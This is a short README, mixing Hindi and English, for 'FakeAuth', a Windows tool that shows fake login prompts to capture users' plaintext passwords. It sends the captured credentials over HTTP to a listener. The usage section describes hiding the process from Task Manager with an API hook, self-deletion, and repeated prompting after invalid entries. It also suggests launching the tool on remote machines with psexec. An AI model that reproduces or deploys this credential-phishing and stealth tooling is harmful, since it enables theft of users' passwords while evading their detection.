
उपयोगकर्ताओं के सादे टेक्स्ट पासवर्ड कैप्चर करने के लिए नकली प्रमाणीकरण प्रॉम्प्ट बनाता है
FakeAuth एक उपकरण है जो उपयोगकर्ता क्रेडेंशियल्स मांगता है और HTTP प्रोटोकॉल के साथ उन्हें बाहर निकालता है।
निम्नलिखित परियोजनाओं से प्रेरित:
गंदा कोड और कुछ बग की उम्मीद करें ;)
कोई विशेष आवश्यकता नहीं
Usage: FakeAuth.exe <hide> <mode> <type> <count> <title> <message> <listener>
Example: FakeAuth.exe 1 1 1 10 window_title enter_creds 10.0.0.0:80\n
hide (integer) -> Hide Process in Taskmgr by WinAPI-Hook (0,1 - requires FakeAuth.dll)
mode (integer) -> Self-Delete at process stop (0,1) - .dll only possible if taskmgr closed!
type (integer) -> Prompt Style (1,2)
count (long) -> How many prompts after invalid Credentials (0,1,2,..,n 0=unlimited)
title (string) -> Prompt title (visible in type=1 only)
message (string) -> Window message
listener (string) -> HTTP exfiltration listener (10.0.0.0:80), if not specified print stdout
सबसे अच्छा उपयोग रिमोट मशीनों पर उपयोगकर्ता सत्र में शुरू करना है। (psexec या अन्य सहायक)
@atn1ght1 Twitter